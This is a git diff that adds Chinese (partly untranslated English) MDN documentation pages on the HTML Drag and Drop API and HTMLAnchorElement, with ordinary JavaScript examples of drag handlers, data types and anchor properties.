  1. copy 表明被拖拽的数据将从它原本的位置拷贝到目标的位置。
  2. +
  3. move 表明被拖拽的数据将被移动。
  4. +
  5. link 表明在拖拽源位置和目标位置之间将会创建一些关系表格或是连接。
  6. +
+ +

在拖拽过程中,拖拽效果也许会被修改以用于表明在具体位置上具体效果是否被允许,如果允许,在该位置则被允许放置。

+ +

以下例子表明如何使用该属性。

+ +
function dragstart_handler(ev) {
+  ev.dataTransfer.dropEffect = "copy";
+}
+
+ +

查看 拖拽效果 更多细节。

+ +

定义一个放置区

+ +

当拖拽一个项目到 HTML 元素中时,浏览器默认不会有任何响应。想要让一个元素变成可释放区域,该元素必须设置 {{domxref("GlobalEventHandlers.ondragover","ondragover")}} 和 {{domxref("GlobalEventHandlers.ondrop","ondrop")}} 事件处理程序属性,下面的例子通过简单的事件处理展示了如何使用这些属性:

+ +
<script>
+function dragover_handler(ev) {
+ ev.preventDefault();
+ ev.dataTransfer.dropEffect = "move";
+}
+function drop_handler(ev) {
+ ev.preventDefault();
+ // Get the id of the target and add the moved element to the target's DOM
+ var data = ev.dataTransfer.getData("text/plain");
+ ev.target.appendChild(document.getElementById(data));
+}
+</script>
+
+<p id="target" ondrop="drop_handler(event)" ondragover="dragover_handler(event)">Drop Zone</p>
+
+ +

注意每个处理程序调用 {{domxref("Event.preventDefault","preventDefault()")}} 来阻止对这个事件的其它处理过程(如触点事件或指针事件)。

+ +

欲了解更多信息,参见 指定释放目标

+ +

处理放置效果

+ +

{{event("drop")}} 事件的处理程序是以程序指定的方法处理拖拽数据。一般,程序调用 {{domxref("DataTransfer.getData","getData()")}} 方法取出拖拽项目并按一定方式处理。程序意义根据 {{domxref("DataTransfer.dropEffect","dropEffect")}} 的值与/或可变更关键字的状态而不同

+ +

下面的例子展示了一个处理程序,从拖拽数据中获取事件源元素的 id 然后根据 id 移动源元素到目标元素:

+ +
<script>
+function dragstart_handler(ev) {
+ // Add the target element's id to the data transfer object
+ ev.dataTransfer.setData("application/my-app", ev.target.id);
+ ev.dataTransfer.dropEffect = "move";
+}
+function dragover_handler(ev) {
+ ev.preventDefault();
+ ev.dataTransfer.dropEffect = "move"
+}
+function drop_handler(ev) {
+ ev.preventDefault();
+ // Get the id of the target and add the moved element to the target's DOM
+ var data = ev.dataTransfer.getData("application/my-app");
+ ev.target.appendChild(document.getElementById(data));
+}
+</script>
+
+<p id="p1" draggable="true" ondragstart="dragstart_handler(event)">This element is draggable.</p>
+<div id="target" ondrop="drop_handler(event)" ondragover="dragover_handler(event)">Drop Zone</div>
+
+ +

更多信息请参见 执行释放

+ +

拖拽结束

+ +

拖拽操作结束时,在源元素(开始拖拽时的目标元素)上触发 {{event("dragend")}} 事件。不管拖拽是完成还是被取消这个事件都会被触发。{{event("dragend")}} 事件处理程序可以检查{{domxref("DataTransfer.dropEffect","dropEffect")}} 属性的值来确认拖拽成功与否。

+ +

更多关于处理拖拽结束的信息请参见 结束拖拽

+ +

互操作性

+ +

在 数据交换对象接口的浏览器兼容性表 中可以看到拖放在桌面浏览器中相对支持得比较完整(除了 {{domxref("DataTransferItem")}} 和 {{domxref("DataTransferItemList")}} 接口支持得较少)。这个数据也显示出拖放操作在移动浏览器中支持得非常弱。

+ +

示例和演示

+ + + +

规范

+ + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('HTML WHATWG', "dnd.html#dnd")}}{{Spec2('HTML WHATWG')}}
+ +

参见

+ + diff --git a/files/zh-cn/web/api/html_drag_and_drop_api/multiple_items/index.html b/files/zh-cn/web/api/html_drag_and_drop_api/multiple_items/index.html new file mode 100644 index 0000000000..35aca786ea --- /dev/null +++ b/files/zh-cn/web/api/html_drag_and_drop_api/multiple_items/index.html @@ -0,0 +1,160 @@ +--- +title: 拖拽和放置多个项目 +slug: Web/API/HTML_Drag_and_Drop_API/Multiple_items +translation_of: Web/API/HTML_Drag_and_Drop_API/Multiple_items +--- +

{{DefaultAPISidebar("HTML Drag and Drop API")}}

+ +
+

重要:
+ 所有带有 moz 前缀的属性和方法(例如 mozSetDataAt() )都是 Gecko 浏览器引擎所特有的接口。这些接口只能在基于 Gecko 引擎的浏览器上使用。

+
+ +

{{ Fx_minversion_header(3.5) }} Mozilla 提供了一些额外的非标准方法来支持多个元素的拖拽。这些方法中映射了 {{domxref("DataTransfer.types","types")}} 属性以及 {{domxref("DataTransfer.getData","getData()")}},{{domxref("DataTransfer.setData","setData()")}} 和 {{domxref("DataTransfer.clearData","clearData()")}} 方法。不过,这些方法可以接受额外的参数来指定需要获取、修改或是移除的元素的下标。

+ +

本文中描述的拖拽过程均使用 {{domxref("DataTransfer")}} 接口。该过程不会使用 {{domxref("DataTransferItem")}} 接口,也不会使用 {{domxref("DataTransferItemList")}} 接口。

+ +

基于索引的添加和获取

+ +

{{domxref("DataTransfer.mozSetDataAt","mozSetDataAt()")}} 方法可以让你在 {{event("dragstart")}} 事件里添加多个元素。该函数功能类似于 {{domxref("DataTransfer.setData","setData()")}}。

+ +
var dt = event.dataTransfer;
+dt.mozSetDataAt("text/plain", "Data to drag", 0);
+dt.mozSetDataAt("text/plain", "Second data to drag", 1);
+
+ +

上面这个例子添加了两个可拖拽元素的各一条数据项。函数的最后一个参数表示元素的索引。你应该按照从零开始的顺序依次指定元素的索引,但是你可以使用你已经添加过的索引来替换已有的元素。使用 0 当作索引就相当于调用 {{domxref("DataTransfer.setData","setData()")}}。

+ +

你可以使用 {{domxref("DataTransfer.mozClearDataAt","mozClearDataAt()")}} 方法来移除一个拖拽元素上的一个数据项。

+ +
event.dataTransfer.mozClearDataAt("text/plain", 1);
+
+ +

注意:移除一个元素中的全部类型的数据项后将会使整个元素移除,导致后面的元素往前移动,索引将会产生变化(相应减小)。 例如:

+ +
var dt = event.dataTransfer;
+dt.mozSetDataAt("text/uri-list", "URL1", 0);
+dt.mozSetDataAt("text/plain",    "URL1", 0);
+dt.mozSetDataAt("text/uri-list", "URL2", 1);
+dt.mozSetDataAt("text/plain",    "URL2", 1);
+dt.mozSetDataAt("text/uri-list", "URL3", 2);
+dt.mozSetDataAt("text/plain",    "URL3", 2);
+// [item1] data=URL1, index=0
+// [item2] data=URL2, index=1
+// [item3] data=URL3, index=2
+
+ +

当你添加完三个元素,且每个元素中包含两种数据类型,

+ +
dt.mozClearDataAt("text/uri-list", 1);
+dt.mozClearDataAt("text/plain", 1);
+
+ +

当你移除了第二个元素中的所有数据项时,第二个元素就会被整个移除,原来的第三个元素变成了新的第二个元素,索引也相应变成了2。

+ +
// [item1] data=URL1, index=0
+// [item2] data=URL3, index=1
+
+ +

幸运的是,你基本不需要进行移除数据项的操作;通常情况下你只需在必要的时候把它加入其中。

+ +

比较常见的使用多元素拖拽的场景,例如多个文件或者多个书签的拖拽中,记得给每个元素设置合适的数据项类型。尽管不是必须的,但你应该为所有元素设置一致的数据项类型,这可以确保目标元素接收到和预期一致的数据。

+ +

你可以通过检查 {{domxref("DataTransfer.mozItemCount","mozItemCount")}} 属性来判断是否有多个元素被拖拽。该属性的值等于当前被拖拽的元素的个数。如果某个拖拽的目标元素只接受单个拖拽元素,它可以直接拒绝这次拖拽操作或者只接受其中的第一个元素。若需要拒绝这些元素,你可以不阻止 {{event("dragover")}} 事件,或者设置 {{domxref("DataTransfer.effectAllowed","effectAllowed")}} 属性为 none。最好将两者结合使用,因为有可能另一个监听函数已经阻止了事件。

+ +

若只接受拖拽的第一个元素,可以使用 {{domxref("DataTransfer.getData","getData()")}} 方法,就和处理单个元素一样。拖拽的目标只需支持单个元素的拖拽而无需任何额外的操作就可以适用于这个场景。

+ +

同时,你也可以使用 {{domxref("DataTransfer.mozGetDataAt","mozGetDataAt()")}} 方法来获取指定的拖拽元素。下面这个例子展示了如何获取到拖拽元素中的所有文件类型数据,并将他们加入到一个数组中。

+ +
function onDrop(event)
+{
+  var files = [];
+  var dt = event.dataTransfer;
+  for (var i = 0; i < dt.mozItemCount; i++)
+    files.push(dt.mozGetDataAt("application/x-moz-file", i));
+}
+
+ +

如果你想知道指定的类型在某个元素上是否存在,你可以使用 {{domxref("DataTransfer.mozTypesAt","mozTypesAt")}} 方法。与{{domxref("DataTransfer.types","types")}} 属性类似,它返回元素的数据类型列表。访问 {{domxref("DataTransfer.types","types ")}} 属性就相当于取索引为0的元素的数据类型列表。

+ +
var types = event.dataTransfer.mozTypesAt(1);
+
+ +

拖拽非字符串的数据

+ +

上述方法不仅限于字符串类型的数据;你可以为数据指定任意类型。例如,文件数据使用 application/x-moz-file 类型,存储为 nsIFile 对象。但是因为 {{domxref("DataTransfer.setData","setData()")}} 方法只支持字符串,所以在这种情况下不能用来指定文件。应该使用的是 {{domxref("DataTransfer.mozSetDataAt","mozSetDataAt()")}} 方法。

+ +
dt.mozSetDataAt("application/x-moz-file", file, 0);
+
+ +

通过使用这个方法,你可以传输任意的对象,尽管你可能不需要支持多元素的拖拽,但还是应该传入0当作索引。

+ +

同样的,你将需要使用 {{domxref("DataTransfer.mozGetDataAt","mozGetDataAt()")}} 方法来获取这个文件对象或是任何其他对象。如果你使用 {{domxref("DataTransfer.getData","getData()")}} 方法,非字符类型数据将可能会使你得到一个空字符串。不过一些简单类型,像数字,是可以被转换成字符串的,所以在这种情况下使用 {{domxref("DataTransfer.getData","getData()")}} 是安全的。

+ +

举个例子

+ +

下面这个例子中,实现了一个盒子可以把拖拽到上面的元素以及他们的类型都展示出来。

+ +
<html>
+<head>
+<script>
+
+function dodrop(event)
+{
+  var dt = event.dataTransfer;
+  var count = dt.mozItemCount;
+  output("Items: " + count + "\n");
+
+  for (var i = 0; i < count; i++) {
+    output(" Item " + i + ":\n");
+    var types = dt.mozTypesAt(i);
+    for (var t = 0; t < types.length; t++) {
+      output("  " + types[t] + ": ");
+      try {
+        var data = dt.mozGetDataAt(types[t], i);
+        output("(" + (typeof data) + ") : <" + data + " >\n");
+      } catch (ex) {
+        output("<<error>>\n");
+        dump(ex);
+      }
+    }
+  }
+}
+
+function output(text)
+{
+  document.getElementById("output").textContent += text;
+  dump(text);
+}
+
+</script>
+</head>
+<body>
+
+<div id="output" style="min-height: 100px; white-space: pre; border: 1px solid black;"
+     ondragenter="document.getElementById('output').textContent = ''; event.stopPropagation(); event.preventDefault();"
+     ondragover="event.stopPropagation(); event.preventDefault();"
+     ondrop="event.stopPropagation(); event.preventDefault(); dodrop(event);">
+
+<div>
+
+ Fix</div>
+</div>
+
+</body>
+</html>
+ +

这个例子中通过调用 {{domxref("Event.preventDefault","preventDefault()")}} 方法,阻止了 {{event("dragenter")}} 和 {{event("dragover")}} 事件。这使放置事件可以在该的元素上被触发。

+ +

当放下一个元素时, dodrop 事件处理函数将会被调用。它会检查 {{domxref("DataTransfer.mozItemCount","mozItemCount")}} 属性来获取有多少元素被放下并且遍历他们。对于每个元素,都会通过调用 {{domxref("DataTransfer.mozTypesAt","mozTypesAt()")}} 方法来获得类型列表。数据类型列表也将被遍历以获取到所有和被拖拽元素相关的信息。

+ +

当你希望检查所有拖拽元素含有的数据时,这个流程是很有用的。只需要将元素拖拽到目标上就可以看到被拖拽元素本身以及它的类型和包含的数据。

+ +

See also

+ + diff --git a/files/zh-cn/web/api/html_drag_and_drop_api/recommended_drag_types/index.html b/files/zh-cn/web/api/html_drag_and_drop_api/recommended_drag_types/index.html new file mode 100644 index 0000000000..25a60ce760 --- /dev/null +++ b/files/zh-cn/web/api/html_drag_and_drop_api/recommended_drag_types/index.html @@ -0,0 +1,222 @@ +--- +title: 推荐拖动类型 +slug: Web/API/HTML_Drag_and_Drop_API/Recommended_drag_types +tags: + - Recommended Drag Types +translation_of: Web/API/HTML_Drag_and_Drop_API/Recommended_drag_types +--- +

{{DefaultAPISidebar("HTML Drag and Drop API")}}

+ +

HTML拖放支持拖动各种类型的数据,包括纯文本,URL,HTML代码,文件等。该文档描述了拖放常见数据类型的最佳做法。

+ +
+

警告:
+ 本文档中包含一个moz前缀的所有方法和属性(如mozSetDataAt())是Gecko的具体接口。 这些接口仅适用于基于Gecko的浏览器。

+
+ +

拖动文字

+ +

拖动文字时请使用 text/plain 类型,那么数据必须是字符串,例如:

+ +
event.dataTransfer.setData("text/plain", "This is text to drag")
+
+ +

拖动文本框中的文字和页面选中部分的文字是自动完成的, 所以你不需要手动处理这些拖动。

+ +

如果应用和拖动目标不支持其它类型,推荐你使用 text/plain 类型的数据进行填充,否则将没有默认的替代文字。建议总是在最后添加原始文字类型的数据做为备选项(译者plter注:如果拖动开始时没有设置数据,则在有些浏览器中后续拖动相关事件可能不会触发)。

+ +

注:在旧代码中,可能会使用 text/unicode 或者 Text 类型, 这两个与 text/plain 是一样的,并且应该被替换用于存储和提取数据。

+ + + +

Links should include data of two types; the first should be the URL using the type text/uri-list, and the second is the URL using the text/plain type. Both types should use the same data, the URL of the link. For example:

+ +
var dt = event.dataTransfer;
+dt.setData("text/uri-list", "http://www.mozilla.org");
+dt.setData("text/plain", "http://www.mozilla.org");
+
+ +

As usual, set the text/plain type last as it is less specific than the uri type.

+ +

Note: the URL type is uri-list with an 'I', not with an 'L'.

+ +

To drag multiple links, you can also separate each link with a linebreak. A line that begins with a number sign (#) is a comment and should not be considered a valid URL. You can use a comment to indicate the purpose of a link, or to hold the title associated with a link. The text/plain version of the drag data should include all links but should not include the comments.

+ +

For example:

+ +
http://www.mozilla.org
+#A second link
+http://www.example.com
+
+ +

This sample text/uri-list data contains two links and a comment.

+ +

When retrieving a dropped link, you should ensure you handle the case where multiple links may have been dragged, including any comments that appear in the data. For convenience, the special type URL may be used to refer to the first valid link within the data for the text/uri-list type. You should not add data using the URL type; attempting to do so will just set the value of the text/uri-list type instead.

+ +
var url = event.dataTransfer.getData("URL");
+
+ +

You may also see data using the Mozilla specific type text/x-moz-url. If it appears, it should be used before the text/uri-list type. It holds the URL of the link followed by the title of the link, separated by a linebreak. For example:

+ +
http://www.mozilla.org
+Mozilla
+http://www.example.com
+Example
+
+ +

拖动HTML和XML

+ +

HTML content may use the text/html type. The data for this type should be the serialized HTML to drag. For instance, it would be suitable to set the data value for this type to the value of the {{domxref("Element.innerHTML","innerHTML")}} property of an element.

+ +

XML content may use the text/xml type, but you should ensure that the data value is well-formed XML.

+ +

You may also include a plain text representation of the HTML or XML data using the text/plain type. The data should be just the text and should not include any of the source tags or attributes. For instance:

+ +
var dt = event.dataTransfer;
+dt.setData("text/html", "Hello there, <strong>stranger</strong>");
+dt.setData("text/plain", "Hello there, stranger");
+
+ +

拖动文件

+ +

A local file is dragged using the application/x-moz-file type with a data value that is an nsIFile object. Non-privileged web pages are not able to retrieve or modify data of this type. Because a file is not a string, you must use the {{domxref("DataTransfer.mozSetDataAt","mozSetDataAt()")}} method to assign the data. Similarly, when retrieving the data, you must use the {{domxref("DataTransfer.mozGetDataAt","mozGetDataAt()")}} method.

+ +
event.dataTransfer.mozSetDataAt("application/x-moz-file", file, 0);
+
+ +

If possible, you may also include the file URL of the file using both the text/uri-list and/or text/plain types. These types should be added last so that the more specific application/x-moz-file type has higher priority.

+ +

Multiple files will be received during a drop as multiple items in the data transfer. See Dragging and Dropping Multiple Items for more details about this.

+ +

The following example shows how to create an area for receiving dropped files:

+ +
<listbox ondragenter="return checkDrag(event)"
+         ondragover="return checkDrag(event)"
+         ondrop="doDrop(event)"/>
+
+<script>
+function checkDrag(event)
+{
+  return event.dataTransfer.types.contains("application/x-moz-file");
+}
+
+function doDrop(event)
+{
+  var file = event.dataTransfer.mozGetDataAt("application/x-moz-file", 0);
+  if (file instanceof Components.interfaces.nsIFile)
+    event.currentTarget.appendItem(file.leafName);
+}
+</script>
+
+ +

In this example, the event returns false only if the data transfer contains the application/x-moz-file type. During the drop event, the data associated with the file type is retrieved, and the filename of the file is added to the listbox. Note that the instanceof operator is used here as the {{domxref("DataTransfer.mozGetDataAt","mozGetDataAt()")}} method will return an nsISupports that needs to be checked and converted into an nsIFile. This is also a good extra check in case someone made a mistake and added a non-file for this type.

+ +

更新DataTransfer.types

+ +

Note that the latest spec now dictates that {{domxref("DataTransfer.types")}} should return a frozen array of {{domxref("DOMString")}}s rather than a {{domxref("DOMStringList")}} (this is supported in Firefox 52 and above).

+ +

As a result, the contains method no longer works on the property; the includes method should be used instead to check if a specific type of data is provided, using code like the following:

+ +
if ([...event.dataTransfer.types].includes('text/html')) {
+  // Do something
+}
+ +

You could always use some feature detection to determine which method is supported on types, and run code as appropriate.

+ +

拖动图像

+ +

Direct image dragging is not commonly done. In fact, Mozilla does not support direct image dragging on Mac or Linux platforms. Instead, images are usually dragged only by their URLs. To do this, use the text/uri-list type as with other URL links. The data should be the URL of the image or a data URL if the image is not stored on a web site or disk. For more information about data URLs, see the data URL scheme.

+ +

As with other links, the data for the text/plain type should also contain the URL. However, a data URL is not usually as useful in a text context, so you may wish to exclude the text/plain data in this situation.

+ +

In chrome or other privileged code, you may also use the image/jpeg, image/png or image/gif types, depending on the type of image. The data should be an object which implements the nsIInputStream interface. When this stream is read, it should provide the data bits for the image, as if the image was a file of that type.

+ +

You should also include the application/x-moz-file type if the image is located on disk. In fact, this a common way in which image files are dragged.

+ +

It is important to set the data in the right order, from most specific to least specific. The image type such as image/jpeg should come first, followed by the application/x-moz-file type. Next, you should set the text/uri-list data and finally the text/plain data. For example:

+ +
var dt = event.dataTransfer;
+dt.mozSetDataAt("image/png", stream, 0);
+dt.mozSetDataAt("application/x-moz-file", file, 0);
+dt.setData("text/uri-list", imageurl);
+dt.setData("text/plain", imageurl);
+
+ +

Note the {{domxref("DataTransfer.mozGetDataAt","mozGetDataAt()")}} method is used for non-text data. As some contexts may only include some of these types, it is important to check which type is made available when receiving dropped images.

+ +

拖动节点

+ +

Nodes and elements in a document may be dragged using the application/x-moz-node type. The data for the type should be a DOM node. This allows the drop target to receive the actual node where the drag was started from. Note that callers from a different domain will not be able to access the node even when it has been dropped.

+ +

You should always include a plain text alternative for the node.

+ +

拖动自定义数据

+ +

You can also use other types that you make up for custom purposes. You should strive to always include a plain text alternative unless that object being dragged is specific to a particular site or application. In this case, the custom type ensures that the data cannot be dropped elsewhere.

+ +

将文件拖动到一个操作系统文件夹

+ +

There are cases in which you may want to add a file to an existing drag event session, and you may also want to write the file to disk when the drop operation happens over a folder in the operating system when your code receives notification of the target folder's location. This only works in extensions (or other privileged code) and the data type "application/moz-file-promise" should be used. The following sample offers an overview of this advanced case:

+ +
// currentEvent is a given existing drag operation event
+
+currentEvent.dataTransfer.setData("text/x-moz-url", URL);
+currentEvent.dataTransfer.setData("application/x-moz-file-promise-url", URL);
+currentEvent.dataTransfer.setData("application/x-moz-file-promise-dest-filename", leafName);
+currentEvent.dataTransfer.mozSetDataAt('application/x-moz-file-promise',
+                  new dataProvider(success,error),
+                  0, Components.interfaces.nsISupports);
+
+function dataProvider(){}
+
+dataProvider.prototype = {
+  QueryInterface : function(iid) {
+    if (iid.equals(Components.interfaces.nsIFlavorDataProvider)
+                  || iid.equals(Components.interfaces.nsISupports))
+      return this;
+    throw Components.results.NS_NOINTERFACE;
+  },
+  getFlavorData : function(aTransferable, aFlavor, aData, aDataLen) {
+    if (aFlavor == 'application/x-moz-file-promise') {
+
+       var urlPrimitive = {};
+       var dataSize = {};
+
+       aTransferable.getTransferData('application/x-moz-file-promise-url', urlPrimitive, dataSize);
+       var url = urlPrimitive.value.QueryInterface(Components.interfaces.nsISupportsString).data;
+       console.log("URL file orignal is = " + url);
+
+       var namePrimitive = {};
+       aTransferable.getTransferData('application/x-moz-file-promise-dest-filename', namePrimitive, dataSize);
+       var name = namePrimitive.value.QueryInterface(Components.interfaces.nsISupportsString).data;
+
+       console.log("target filename is = " + name);
+
+       var dirPrimitive = {};
+       aTransferable.getTransferData('application/x-moz-file-promise-dir', dirPrimitive, dataSize);
+       var dir = dirPrimitive.value.QueryInterface(Components.interfaces.nsILocalFile);
+
+       console.log("target folder is = " + dir.path);
+
+       var file = Cc['@mozilla.org/file/local;1'].createInstance(Components.interfaces.nsILocalFile);
+       file.initWithPath(dir.path);
+       file.appendRelativePath(name);
+
+       console.log("output final path is =" + file.path);
+
+       // now you can write or copy the file yourself...
+    }
+  }
+}
+
+ +

也可以看看

+ + + +

{{ languages( { "ja": "Ja/DragDrop/Recommended_Drag_Types" } ) }}

diff --git a/files/zh-cn/web/api/htmlanchorelement/download/index.html b/files/zh-cn/web/api/htmlanchorelement/download/index.html new file mode 100644 index 0000000000..1d8c763510 --- /dev/null +++ b/files/zh-cn/web/api/htmlanchorelement/download/index.html @@ -0,0 +1,48 @@ +--- +title: HTMLAnchorElement.download +slug: Web/API/HTMLAnchorElement/download +tags: + - HTML属性 + - 下载 +translation_of: Web/API/HTMLAnchorElement/download +--- +
{{APIRef("HTML DOM")}}
+ +

HTMLAnchorElement.download属性是一个{{jsxref("DOMString")}} ,表明链接的资源将被下载,而不是显示在浏览器中。该值表示下载文件的建议名称。如果该名称不是基础操作系统的有效文件名,浏览器将对其进行调整。

+ +
+

注意: 该值对于下载行为来说不一定是有用的,同时也不能决定下载行为是否发生。

+
+ +

语法

+ +
var dnload = anchorElt.download;
+anchorElt.download = dnload;
+
+ +

规范Edit

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'multipage/text-level-semantics.html#dom-a-download', 'download')}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("DOM2 HTML")}}
+ +

浏览器的兼容性

+ +
+ + +

{{Compat("api.HTMLAnchorElement.download")}}

+
diff --git a/files/zh-cn/web/api/htmlanchorelement/index.html b/files/zh-cn/web/api/htmlanchorelement/index.html new file mode 100644 index 0000000000..a5e8a72584 --- /dev/null +++ b/files/zh-cn/web/api/htmlanchorelement/index.html @@ -0,0 +1,205 @@ +--- +title: HTMLAnchorElement +slug: Web/API/HTMLAnchorElement +translation_of: Web/API/HTMLAnchorElement +--- +
{{APIRef("HTML DOM")}}
+ +

HTMLAnchorElement 接口表示超链接元素,并提供一些特别的属性和方法(除了那些继承自普通 {{domxref("HTMLElement")}}对象接口的之外)以用于操作这些元素的布局和显示。

+ +

属性(Properties)

+ +

继承其父类 {{domxref("HTMLElement")}} 的属性,并实现 {{domxref("URLUtils")}} 中(定义)的(属性)。

+ +
+
{{domxref("HTMLAnchorElement.accessKey")}}
+
是一个代表了单个字符的 {{domxref("DOMString")}},单个字符可以切换输入焦点到超链接。
+
{{domxref("HTMLAnchorElement.charset")}} {{obsolete_inline}}
+
Is a {{domxref("DOMString")}} representing the character encoding of the linked resource.
+
{{domxref("HTMLAnchorElement.coords")}} {{obsolete_inline}}
+
Is a {{domxref("DOMString")}} representing a comma-separated list of coordinates.
+
{{domxref("HTMLAnchorElement.download")}} {{experimental_inline}}
+
Is a {{domxref("DOMString")}} indicating that the linked resource is intended to be downloaded rather than displayed in the browser. The value represent the proposed name of the file. If the name is not a valid filename of the underlying OS, browser will adapt it. The value is a URL with a scheme like http:, file:, data: or even blob: (created with {{domxref("URL.createObjectURL")}}).
+
{{domxref("URLUtils.hash")}}
+
Is a {{domxref("DOMString")}} representing the fragment identifier, including the leading hash mark ('#'), if any, in the referenced URL.
+
{{domxref("URLUtils.host")}}
+
Is a {{domxref("DOMString")}} representing the hostname and port (if it's not the default port) in the referenced URL.
+
{{domxref("URLUtils.hostname")}}
+
Is a {{domxref("DOMString")}} representing the hostname in the referenced URL.
+
{{domxref("URLUtils.href")}}
+
Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("href", "a")}} HTML attribute, containing a valid URL of a linked resource.
+
{{domxref("HTMLAnchorElement.hreflang")}}
+
Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("hreflang", "a")}} HTML attribute, indicating the language of the linked resource.
+
{{domxref("HTMLAnchorElement.media")}}
+
Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("media", "a")}} HTML attribute, indicating the intended media for the linked resource.
+
{{domxref("HTMLAnchorElement.name")}} {{obsolete_inline}}
+
Is a {{domxref("DOMString")}} representing the anchor name.
+
{{domxref("URLUtils.passport")}}
+
Is a {{domxref("DOMString")}} 包含指定域名的密码。
+
{{domxref("URLUtils.origin")}} {{readonlyInline}}
+
Returns a {{domxref("DOMString")}} containing the origin of the URL, that is its scheme, its domain and its port.
+
{{domxref("URLUtils.pathname")}}
+
Is a {{domxref("DOMString")}} representing the path name component, if any, of the referenced URL.
+
{{domxref("URLUtils.port")}}
+
Is a {{domxref("DOMString")}} representing the port component, if any, of the referenced URL.
+
{{domxref("URLUtils.protocol")}}
+
Is a {{domxref("DOMString")}} representing the protocol component, including trailing colon (':'), of the referenced URL.
+
{{domxref("HTMLAnchorElement.rel")}}
+
Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("rel", "a")}} HTML attribute, specifying the relationship of the target object to the linked object.
+
{{domxref("HTMLAnchorElement.relList")}} {{readonlyInline}}
+
Returns a {{domxref("DOMTokenList")}} that reflects the {{htmlattrxref("rel", "a")}} HTML attribute, as a list of tokens.
+
{{domxref("HTMLAnchorElement.rev")}} {{obsolete_inline}}
+
Is a {{domxref("DOMString")}} representing that the {{htmlattrxref("rev", "a")}} HTML attribute, specifying the relationship of the link object to the target object.
+
{{domxref("URLUtils.search")}}
+
Is a {{domxref("DOMString")}} representing tThe search element, including leading question mark ('?'), if any, of the referenced URL.
+
{{domxref("HTMLAnchorElement.shape")}} {{obsolete_inline}}
+
Is a {{domxref("DOMString")}} representing the shape of the active area.
+
{{domxref("HTMLAnchorElement.tabindex")}}
+
Is a long containing the position of the element in the tabbing navigation order for the current document.
+
{{domxref("HTMLAnchorElement.target")}}
+
Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("target", "a")}} HTML attribute, indicating where to display the linked resource.
+
{{domxref("HTMLAnchorElement.text")}}
+
Is a {{domxref("DOMString")}} being a synonym for the {{domxref("Node.textContent")}} property.
+
{{domxref("HTMLAnchorElement.type")}}
+
Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("type", "a")}} HTML attribute, indicating the MIME type of the linked resource.
+
{{domxref("URLUtils.username")}}
+
Is a {{domxref("DOMString")}} containing the username specified before the domain name.
+
+ +

Methods

+ +

Inherits methods from its parent, {{domxref("HTMLElement")}}, and implements those from {{domxref("URLUtils")}}.

+ +
+
{{domxref("HTMLElement.blur()")}}
+
Removes the  keyboard focus from the current element.
+
{{domxref("HTMLElement.focus()")}}
+
Gives the keyboard focus to the current element.
+
{{domxref("URLUtils.toString()")}}
+
Returns a {{domxref("DOMString")}} containing the whole URL. It is a synonym for {{domxref("URLUtils.href")}}, though it can't be used to modify the value.
+
+ +

The blur() and focus() methods are inherited from {{domxref("HTMLElement")}} from HTML5 on, but were defined on HTMLAnchorElement in DOM Level 2 HTML and earlier specifications.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "text-level-semantics.html#the-a-element", "HTMLAnchorElement")}}{{Spec2('HTML WHATWG')}}The following property has been added: download.
+ Technically, the URL-related properties, media, host, hostname, pathname, port, protocol, search, and hash, have been moved to the {{domxref("URLUtils")}} interface, and HTMLAreaElement implements this interface.
{{SpecName('HTML5 W3C', "text-level-semantics.html#the-a-element", "HTMLAnchorElement")}}{{Spec2('HTML5 W3C')}}The methods blur() and focus(), as well as the properties tabindex and accessKey, are now defined on {{domxref("HTMLElement")}}.
+ The following properties are now obsolete: charset, coords, name, rev, and shape.
+ The following properties have been added: hash, host, hostname, media, pathname, port, protocol, relList, search, and text.
{{SpecName('DOM2 HTML', 'html.html#ID-48250443', 'HTMLAnchorElement')}}{{Spec2('DOM2 HTML')}}No change from {{SpecName("DOM1")}}.
{{SpecName('DOM1', 'level-one-html.html#ID-48250443', 'HTMLAnchorElement')}}{{Spec2('DOM1')}}Initial definition.
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
download1420{{CompatUnknown}}15{{CompatUnknown}}
username, password, and origin{{CompatUnknown}}{{CompatGeckoDesktop("26.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
download{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
username, password, and origin{{CompatUnknown}}{{CompatGeckoMobile("26.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/htmlanchorelement/referrer/index.html b/files/zh-cn/web/api/htmlanchorelement/referrer/index.html new file mode 100644 index 0000000000..b3e30b3fe2 --- /dev/null +++ b/files/zh-cn/web/api/htmlanchorelement/referrer/index.html @@ -0,0 +1,116 @@ +--- +title: HTMLAnchorElement.referrer +slug: Web/API/HTMLAnchorElement/referrer +translation_of: Web/API/HTMLAnchorElement/referrerPolicy +--- +
{{APIRef}}{{SeeCompatTable}}
+ +

HTMLAnchorElement.referrer 属性对应于 HTML 中 {{HTMLElement("a")}} 标签的 {{htmlattrxref("referrer","a")}} 属性,它可以控制用户在点击这个链接时所发出的 HTTP 请求的 Referer 请求头的值。

+ +

语法

+ +
refStr = anchorElt.referrer;
+anchorElt.referrer = refStr;
+ +

属性值

+ +
+
+
    +
